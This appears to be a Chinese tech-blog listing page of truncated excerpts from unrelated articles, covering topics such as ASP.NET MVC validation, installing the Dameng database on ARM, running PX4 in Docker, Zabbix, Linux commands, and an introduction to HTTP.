第5章 IT服务部署实施 5.1 概述 IT服务部署实施是衔接IT服务规划设计与IT服务运营的中间阶段&#xff0c;负责对服务组件进行客户化&#xff0c;并在充分满足客户要求的前提下&#xff0c;使用标准化的方法管理人员、资源、技术和过程&#xff0c;包括计划、实施和管理生产环…

MVC之 Controller 》》 ModelState ValidationMessageFor ValidationSummary

ModelState是Controller的一个属性&#xff0c;可以被继承自System.Web.Mvc.Controller的那些类访问。它表示在一次POST提交中被提交到服务器的 键值对集合&#xff0c;每个记录到ModelState内的值都有一个错误信息集。尽管ModelState的名字中含有“Model”&#xff0c;但它只有…

【机器学习理论基础】回归模型定义和分类

定义 回归分析是研究自变量与因变量之间数量变化关系的一种分析方法&#xff0c;它主要是通过因变量 Y Y Y与影响它的自变量 X i X_i Xi​ 之间的回归模型&#xff0c;衡量自变量 X i X_i Xi​ 对因变量 Y Y Y 的影响能力的&#xff0c;进而可以用来预测因变量Y的发展趋势。…

Python实现的深度学习技术在水文水质领域应用

当前&#xff0c;深度学习作为人工智能的热门技术发展迅速&#xff0c;以其强大的非线性和不确定性处理能力在图像识别、语音识别、自然语言处理等领域取得了显著的成效。它是一种端到端的处理方法&#xff0c;在训练算法的指导下&#xff0c;深层神经网络自发地从原始数据中进…

25届近5年中国民航大学自动化考研院校分析

中国民航大学 目录 一、学校学院专业简介 二、考试科目指定教材 三、近5年考研分数情况 四、近5年招生录取情况 五、最新一年分数段图表 六、初试大纲复试大纲 七、学费&奖学金&就业方向 一、学校学院专业简介 二、考试科目指定教材 1、考试科目介绍 2、指定教…

arm环境安装达梦数据库

作者&#xff1a;振鹭 一、安装前准备 1、创建用户和用户组 groupadd dinstall useradd -g dinstall -m -d /home/dmdba -s /bin/bash dmdba2、修改文件打开最大数 vi /etc/security/limits.conf #文件末尾添加以下四行 dmdba hard nofile 65536 dmdba soft nofile 65536 d…

20240711 每日AI必读资讯

&#x1f3a8;Runway Gen-3 Alpha 详细使用教程以及提示词指南大全 - 7月9日&#xff0c;著名生成式AI平台Runway在官网公布了&#xff0c;最新发布的文生视频模型Gen-3 Alpha的文本提示教程。 - 从技术层面来说&#xff0c;输入的文本提示会被转换成“向量”&#xff0c;这些…

一天搞定软件测试基础!——包含Web测试、App测试

以下&#x1f447;是2024新版黑马程序员软件测试零基础入门到精通全套视频教程的所有笔记&#xff01; 有一些缺点&#xff0c;就是我是在7月份的时候进行该课程学习的&#xff0c;所以网课老师准备的一些网盘资源都已经失去连接了&#xff0c;所以我无法在我的电脑里进行测试&…

QGroundControl连接运行在Docker中的PX4固件模拟器

1.通过docker启动PX4无人机 docker run --rm -it jonasvautherin/px4-gazebo-headless:1.14.3 启动成功&#xff1a; PX4完全启动OK如下&#xff1a; 会看到pxh> INFO [commander] Ready for takeoff! 执行takeoff指令 查看运行docker容器与QGC客户端的主机IP&#xff1a; …

Android14系统应用统一裁剪方案

Android14系统应用统一裁剪方案 背景 当前移除集成到系统里的应用,一般都是根据应用名,到各个mk文件里逐个在PRODUCT_PACKAGES中删除;这种方法,耗时而且不易管理集成到系统里的应用;需要有一个统一管理删除不需要应用的方案。 方案 参考PRODUCT_PACKAGES变量,添加PRO…

LLM应用:行业大模型

大语言模型正在朝着两个方向发展&#xff0c;一个是以ChatGPT为代表的通用大模型&#xff0c;另一个则是行业大模型&#xff08;或称为“专业大模型”&#xff09;。如果大模型的演化分为阴阳两面&#xff0c;通用大模型更像是阳面&#xff0c;受众更广、更to C端&#xff0c;以…

C++11 shared_ptr手写---面试常考

shared_ptr简介 共享对其所指堆内存空间的所有权&#xff0c;当最后⼀个指涉到该对象的shared_ptr不再指向他时&#xff0c;shared_ptr会⾃动析构所指对象如何判断⾃⼰是否指涉到该资源的最后⼀个&#xff1f;《引⽤计数》 shared_ptr构造函数&#xff0c;使引⽤计数析构函数&…

Linux常用选项和指令

目录 Linux指令使用注意 用户创建与删除 ls指令 ls指令介绍 ls常见选项 ls选项组合使用 pwd指令 Linux文件系统结构 多叉树结构文件系统介绍 多叉树结构文件系统的特点 cd指令 绝对路径 相对路径 cd指令介绍 家户目录 最近访问的目录 touch指令 ​编辑mkdir指…

借助钡铼经济型网关实现台达PLC设备与OPC UA的连接

随着工业自动化的发展&#xff0c;将传统的PLC设备接入现代化的网络通信系统变得越来越重要。OPC UA&#xff08;Open Platform Communications Unified Architecture&#xff09;作为工业领域通信的开放标准&#xff0c;提供了安全、可靠且跨平台的数据传输能力&#xff0c;因…

Spring中的工厂模式详解及应用示例

1. Spring中的BeanFactory BeanFactory是一个接口&#xff0c;表示它是一个工厂&#xff0c;负责生产和管理bean。在Spring中&#xff0c;BeanFactory是IOC容器的核心接口&#xff0c;定义了管理Bean的通用方法&#xff0c;如 getBean 和 containsBean。 BeanFactory与IOC容器…

Docker 使用基础(2)—镜像

&#x1f3ac;慕斯主页&#xff1a;修仙—别有洞天 ♈️今日夜电波&#xff1a;秒針を噛む—ずっと真夜中でいいのに。 0:34━━━━━━️&#x1f49f;──────── 4:20 &#x1f504; ◀️ ⏸ …

zabbix 学习笔记

文章目录 Zabbix 安装Ubuntu 18.04.1 server 安装Zabbix 4.0Centos7 安装Zabbix3.4Centos7 安装zabbix4.2Centos7.1908安装zabbix 基于ngixDebian11安装zabbix6.0LTS 基于PostgreSQL和NGINXAlmaLinux9.2使用国内清华源在线安装zabbix6.0.18LTS 基于MySQL和NGINXUbunut22.04使用…

HTTP协议分析/burp/goby/xray

一、HTTP简介 HTTP(超文本传输协议)是今天所有web应用程序使用的通信协议。最初&#xff0c;HTTP只是一个为获取基于文本的静态资源而开发的简单协议&#xff0c;后来人们以名种形式扩展和利用它.使其能够支持如今常见的复杂分布式应用程序。HTTP使用一种用于消息的模型:客户端…